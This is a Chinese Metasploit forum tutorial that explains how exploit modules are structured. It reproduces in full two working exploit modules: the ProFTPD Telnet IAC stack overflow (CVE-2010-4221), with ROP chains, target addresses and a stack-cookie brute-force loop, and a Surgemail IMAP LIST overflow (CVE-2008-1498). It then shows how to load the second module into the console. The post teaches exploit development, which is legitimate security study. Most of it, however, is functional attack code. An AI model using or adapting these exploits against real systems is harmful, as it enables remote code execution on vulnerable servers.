Metasploit渗透测试论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

安络长矛深度安全检测系统
Metascan metasploit pro
查看: 2332|回复: 0

metasploit的exploits详细解析之proftp_telnet_iac.rb

[复制链接]

0

主题

0

好友

30

积分

正式会员

Rank: 2

发表于 2016-11-8 09:44:02 |显示全部楼层
本帖最后由 myuren 于 2016-11-8 09:47 编辑

Metasploit中的exploit部分设计目标是提供一个开发exploit简单方法,提供了大量的库,并且使用了ruby中的Mix-in(糅和或混合插入)方法实现多重继承,以便于让二次开发人员能够快速的进行二次开发。

所有的exploit都具有类似的结构,每一个exploit开始都有一个initialize;其次定义了check方法,此方法并不是必须的;最后定义了exploit方法。

在initialize方法中,含有本exploit的描述信息(作者、漏洞溢出方法描述)、使用选项(设定主机IP、端口号等)和shellcode部分。

Check方法并不是必须的,主要是检查目标机的情况,比如目标机是否易受攻击,本溢出方法是否适合攻击目标机等。检查完后返回一些已经预定义好的值(后面的注释为自我理解,可能不够准确),如下:

CheckCode::Safe                目标机安全,攻击可能无效

CheckCode::Detected             目标机提供了相应的服务

CheckCode::Appears             目标机已经被感染

CheckCode::Vulnerable        目标机易受攻击

CheckCode::Unsupported        本exploit对目标机不可用

Exploit方法主要是连接到目标主机,执行shellcode等。

以metasploit当中的exploits当中的linux/ftp/proftp_telnet_iac.rb为例说明。代码如下并进行了相应的注释:

##

# $Id: proftp_telnet_iac.rb 11208 2010-12-02 21:10:03Z jduck $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

##

#加载核心库文件msf3/lib/msf/core.rb

#核心库文件中提供了整个框架中各个部分的交互,

#比如UI、数据库操作、exploits、payloads、encoders、nops、auxiliary、sessions等

#几乎所有的exploit都要包这个核心库

##

require 'msf/core'

##

#在本模块内定义了Metasploit3子类,所有外部模块定义的Metasploit3子类在本模块均不起作用

#其父类为Msf::Exploit::Remote

##

class Metasploit3 < Msf::Exploit::Remote

    Rank = GreatRanking

    #include Msf::Exploit::Remote::Ftp

    ##包含Msf::Exploit::Remote::Tcp模块。

    #这个模块中提供了使用TCP协议所需要的一切,如RHOST,PROT,socket等

    ##

    include Msf::Exploit::Remote::Tcp

    #定义了initialize方法,本部分包括模块信息、攻击目标、shellcode等

    def initialize(info = {})

        super(update_info(info,

            'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',

            'Description' => %q{

                    This module exploits a stack-based buffer overflow in versions of ProFTPD

                server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a

                large number of Telnet IAC commands, an attacker can corrupt memory and

                execute arbitrary code.


                The Debian Squeeze version of the exploit uses a little ROP stub to indirectly

                transfer the flow of execution to a pool buffer (the cmd_rec "res" in

                "pr_cmd_read").


                The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub

                to it, and execute the stub. The stub then copies the remainder of the payload

                in and executes it.


                NOTE: Most Linux distributions either do not ship a vulnerable version of

                ProFTPD, or they ship a version compiled with stack smashing protection.


                Although SSP significantly reduces the probability of a single attempt

                succeeding, it will not prevent exploitation. Since the daemon forks in a

                default configuration, the cookie value will remain the same despite

                some attemtps failing. By making repeated requests, an attacker can eventually

                guess the cookie value and exploit the vulnerability.


                The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness

                and could allow exploitation in semi-reasonable amount of time.

            },

            'Author' => [ 'jduck' ],

            'Version' => '$Revision: 11208 $',

            'References' =>

                [

                    ['CVE', '2010-4221'],

                    ['OSVDB', '68985'],

                    ['BID', '44562']

                ],

            'DefaultOptions' =>

                {

                    'EXITFUNC' => 'process',

                    'PrependChrootBreak' => true

                },

            'Privileged' => true,

            'Payload' =>

                {

                    'Space' => 4096,    #定义所需空间大小

                    # NOTE: \xff are avoided here so we can control the number of them being sent.

                    'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",

                    'DisableNops'    => 'True',

                },

            'Platform' => [ 'linux', ],

            'Targets' =>

            [

                #

                # Automatic targeting via fingerprinting

                #

                [ 'Automatic Targeting', { 'auto' => true } ],


                #

                # This special one comes first since we dont want its index changing.

                #

                [    'Debug',

                    {

                        'IACCount' => 8192, # should cause crash writing off end of stack

                        'Offset' => 0,

                        'Ret' => 0x41414242,

                        'Writable' => 0x43434545

                    }

                ],


                #

                # specific targets

                #


                # NOTE: this minimal rop works most of the time, but it can fail

                # if the proftpd pool memory is in a different order for whatever reason...

                [ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',

                    {

                        'IACCount' => 4096+16,

                        'Offset' => 0x102c-4,

                        # NOTE: All addresses are from the proftpd binary

                        'Ret' => 0x805a547, # pop esi / pop ebp / ret

                        'Writable' => 0x80e81a0, # .data

                        'RopStack' =>

                            [

                                # Writable is here

                                0xcccccccc, # unused

                                0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret

                                0xcccccccc, # becomes ebx

                                0xcccccccc, # becomes esi

                                0xcccccccc, # becomes ebp

                                # quadruple deref the res pointer :)

                                0x8068886, # mov eax,[eax] / ret

                                0x8068886, # mov eax,[eax] / ret

                                0x8068886, # mov eax,[eax] / ret

                                0x8068886, # mov eax,[eax] / ret

                                # skip the pool chunk header

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                0x805bd8e, # inc eax / adc cl, cl / ret

                                # execute the data :)

                                0x0805c26c, # jmp eax

                            ],

                    }

                ],


                # For the version compiled with symbols :)

                [ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',

                    {

                        'IACCount' => 4096+16,

                        'Offset' => 0x1028-4,

                        # NOTE: All addresses are from the proftpd binary

                        'Writable' => 0x80ec570, # .data

                        'Ret' => 0x80d78c2, # pop esi / pop ebp / ret

                        'RopStack' =>

                            [

                                # Writable is here

                                #0x0808162a, # jmp esp (works w/esp fixup)

                                0xcccccccc, # unused becomes ebp

                                0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret

                                0xcccccccc, # unused becomes esi

                                0xcccccccc, # unused becomes ebp

                                # quadruple deref the res pointer :)

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                0x806a915, # mov eax,[eax] / pop ebp / ret

                                0xcccccccc, # unused becomes ebp

                                # skip the pool chunk header

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                0x805d6a9, # inc eax / adc cl, cl / ret

                                # execute the data :)

                                0x08058de6, # jmp eax

                            ],

                    }

                ],


                [ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',

                    {

                        'IACCount' => 1018,

                        'Offset' => 0x420,

                        'CookieOffset' => -0x20,

                        'Writable' => 0x80db3a0, # becomes esi (beginning of .data)

                        'Ret' => 0x805389b, # pop esi / pop ebp / ret

                        'RopStack' =>

                            [

                                0xcccccccc, # becomes ebp


                                0x8080f04, # pop eax / ret

                                0x80db330, # becomes eax (GOT of mmap64)


                                0x806a716, # mov eax, [eax] / ret

                                0x805dd5c, # jmp eax

                                0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret

                                # mmap args

                                0, 0x20000, 0x7, 0x22, 0xffffffff, 0,

                                0, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx

                                0xcccccccc, # becomes ebp


                                # note, ebx gets fixed above :)

                                # 0xfe in 'ah' doesn't matter since we have more than enough space.

                                # now, load an instruction to store to eax

                                0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret

                                # becomes edx - mov [eax+ebp*4]; ebx / ret

                                "\x89\x1c\xa8\xc3".unpack('V').first,


                                # store it :)

                                0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # unused

                                0xcccccccc, # becomes ebx

                                0xcccccccc, # becomes esi

                                0xcccccccc, # becomes ebp


                                # Copy the following stub:

                                #"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]

                                #"\x8d\x78\x12" # lea edi, [eax+0x12]

                                #"\x6a\x7f" # push 0x7f

                                #"\x59"     # pop ecx

                                #"\xf2\xa5" # rep movsd


                                0x80607b5, # pop ebx / pop ebp / ret

                                0xfb2124b4, # becomes ebx

                                1, # becomes ebp

                                0x805dd5c, # jmp eax


                                0x80607b5, # pop ebx / pop ebp / ret

                                0x788dffff, # becomes ebx

                                2, # becomes ebp

                                0x805dd5c, # jmp eax


                                0x80607b5, # pop ebx / pop ebp / ret

                                0x597f6a12, # becomes ebx

                                3, # becomes ebp

                                0x805dd5c, # jmp eax


                                0x80607b5, # pop ebx / pop ebp / ret

                                0x9090a5f2, # becomes ebx

                                4, # becomes ebp

                                0x805dd5c, # jmp eax


                                0x80607b5, # pop ebx / pop ebp / ret

                                0x8d909090, # becomes ebx

                                0, # becomes ebp

                                0x805dd5c, # jmp eax


                                # hopefully we dont get here

                                0xcccccccc,

                            ],

                    }



            ],

            'DefaultTarget' => 0,

            'DisclosureDate' => 'Nov 1 2010'))


        register_options(

            [

                Opt::RPORT(21),

            ], self.class )

    end


    ##定义了check 方法,检查目标机

    def check

        # NOTE: We don't care if the login failed here...

        ret = connect        #连接目标机,connect为内置命令

        banner = sock.get_once    #获取目标机标识


        # We just want the banner to check against our targets..

        print_status("FTP Banner: #{banner.strip}")    #打印目标机标识状态


        status = CheckCode::Safe            #先设定目标机安全

        if banner =~ /ProFTPD (1\.3\.[23][^ ])/i    #查看其标识是否匹配特定的软件

            ver = $1

            maj,min,rel = ver.split('.')

            relv = rel.slice!(0,1)

            case relv

            when '2'

                if rel.length > 0

                    if rel[0,2] == 'rc'

                        if rel[2,rel.length].to_i >= 3

                            status = CheckCode::Vulnerable

                        end

                    else

                        status = CheckCode::Vulnerable

                    end

                end

            when '3'

                # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)

                status = CheckCode::Vulnerable

                if rel.length > 0

                    if rel[0,2] != 'rc' and rel[0,1] > 'b'

                        status = CheckCode::Safe

                    end

                end

            end

        end


        disconnect        #断开连接

        return status        #返回状态

    end

    ##定义了exploit方法

    def exploit

        connect

        banner = sock.get_once


        # Use a copy of the target

        mytarget = target


        if (target['auto'])

            mytarget = nil


            print_status("Automatically detecting the target...")

            if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then

                print_status("FTP Banner: #{banner.strip}")

                version = m[1]

            else

                raise RuntimeError, "No matching target"

            end


            regexp = Regexp.escape(version)

            self.targets.each do |t|

                if (t.name =~ /#{regexp}/) then

                    mytarget = t

                    break

                end

            end


            if (not mytarget)

                raise RuntimeError, "No matching target"

            end


            print_status("Selected Target: #{mytarget.name}")

        else

            print_status("Trying target #{mytarget.name}...")

            if banner

                print_status("FTP Banner: #{banner.strip}")

            end

        end

        #puts "attach and press any key"; bleh = $stdin.gets

        buf = ''

        buf << 'SITE '

        #buf << "\xcc"

        if mytarget['CookieOffset']

            buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]

        end

        buf << payload.encoded


        # The number of characters left must be odd at this point.

        buf << rand_text(1) if (buf.length % 2) == 0

        buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)


        buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)

        addrs = [

            mytarget['Ret'],

            mytarget['Writable']

        ].pack('V*')

        ##执行shellcode

        if mytarget['RopStack']

            addrs << mytarget['RopStack'].map { |e|

                if e == 0xcccccccc

                    rand_text(4).unpack('V').first

                else

                    e

                end

            }.pack('V*')

        end


        # Make sure we didn't introduce instability

        addr_badchars = "\x09\x0a\x0b\x0c\x20"

        if idx = Rex::Text.badchar_index(addrs, addr_badchars)

            raise RuntimeError, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])

        end


        buf << addrs

        buf << "\r\n"

        #

        # In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it

        # doesn't change while proftpd forks children. Therefore, we can try forever

        # and eventually guess it correctly.

        #

        # NOTE: if the cookie contains one of our bad characters, we're SOL.

        #

        if mytarget['CookieOffset']

            print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")

            disconnect


            max = 0xffffff00

            off = mytarget['Offset'] + mytarget['CookieOffset']

            cookie = last_cookie = 0

            #cookie = 0x17ccd600

            start = Time.now

            last = start - 10

            while not session_created?

                now = Time.now

                if (now - last) >= 10

                    perc = (cookie * 100) / max

                    qps = ((cookie - last_cookie) >> 8) / 10.0

                    print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])

                    last = now

                    last_cookie = cookie

                end

                sd = connect(false)

                sd.get_once

                buf[off, 4] = [cookie].pack('V')

                sd.put(buf)

                disconnect(sd)

                cookie += 0x100

                break if cookie > max

            end

            if not session_created?

                raise RuntimeError, "Unable to guess the cookie value, sorry :-/"

            end

        else

            sock.put(buf)

            disconnect

        end

        handler

    end

end


增加exploit的方式比较简单,直接将写好的程序放在相应的目录下,重新启动console即可看到自己的exploit。下面以增加一个简单的exploit为例进行说明。增加的位置在msf3\modules\exploits\windows\imap,名子为surgemail_list.rb,在增加以前,我们先在console查找一下,如图1所示:



查找显示没有这个exploit。我们增加的exploit代码如下:

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})

super(update_info(info,

'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',

'Description' => %q{

This module exploits a stack overflow in the Surgemail IMAP Server

version 3.8k4-4 by sending an overly long LIST command. Valid IMAP

account credentials are required.

},

'Author' => [ 'ryujin' ],

'License' => MSF_LICENSE,

'Version' => '$Revision: 1 $',

'References' =>

[

[ 'BID', '28260' ],

[ 'CVE', '2008-1498' ],

[ 'URL', 'http://www.milw0rm.com/exploits/5259' ],

],

'Privileged' => false,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Payload' =>

{

'Space' => 10351,

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'DisableNops' => true,

'BadChars' => "\x00"

},

'Platform' => 'win',

'Targets' =>

[

[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e

],

'DisclosureDate' => 'March 13 2008',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner and banner =~ /(Version 3.8k4-4)/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connected = connect_login

nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with make_nops()

sjump = "\xEB\xF9\x90\x90" # Jmp Back

njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)

evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")

print_status("Sending payload")

sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"

sock.put(sploit)

handler

disconnect

end

end


将其直接放在msf3\modules\exploits\windows\imap\目录下,再查找一次,如图2所示:



仍然是没有找到,重新console,然后再进行查找,如图3所示:


在上图中可以看到,已经查找到了新增加的exploit。下面看是否能使用,对其使用use,然后查看其选项,如图4所示:

然后设定目标IP(本例中设定了自己建立的虚拟机)并进行check,因为虚拟机中并没有安装相应的服务,所以check的时候失败。如图5所示:



第一次查找surgemail

第一次查找surgemail

第二次查找surgemail

第二次查找surgemail

重启console后查找surgemail

重启console后查找surgemail

使用新增加的exploit surgemail

使用新增加的exploit surgemail

使用新增exploit的check方法

使用新增exploit的check方法

如文中未特别声明转载请注明出自:http://www.metasploit.cn/
*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

QQ|Archiver|手机版|Metasploit ( 粤ICP备15008156号-1 )

GMT+8, 2017-3-28 18:12 , Processed in 0.683429 second(s), 31 queries .

Powered by Discuz! X2.5

© 2001-2012 Comsenz Inc.

回顶部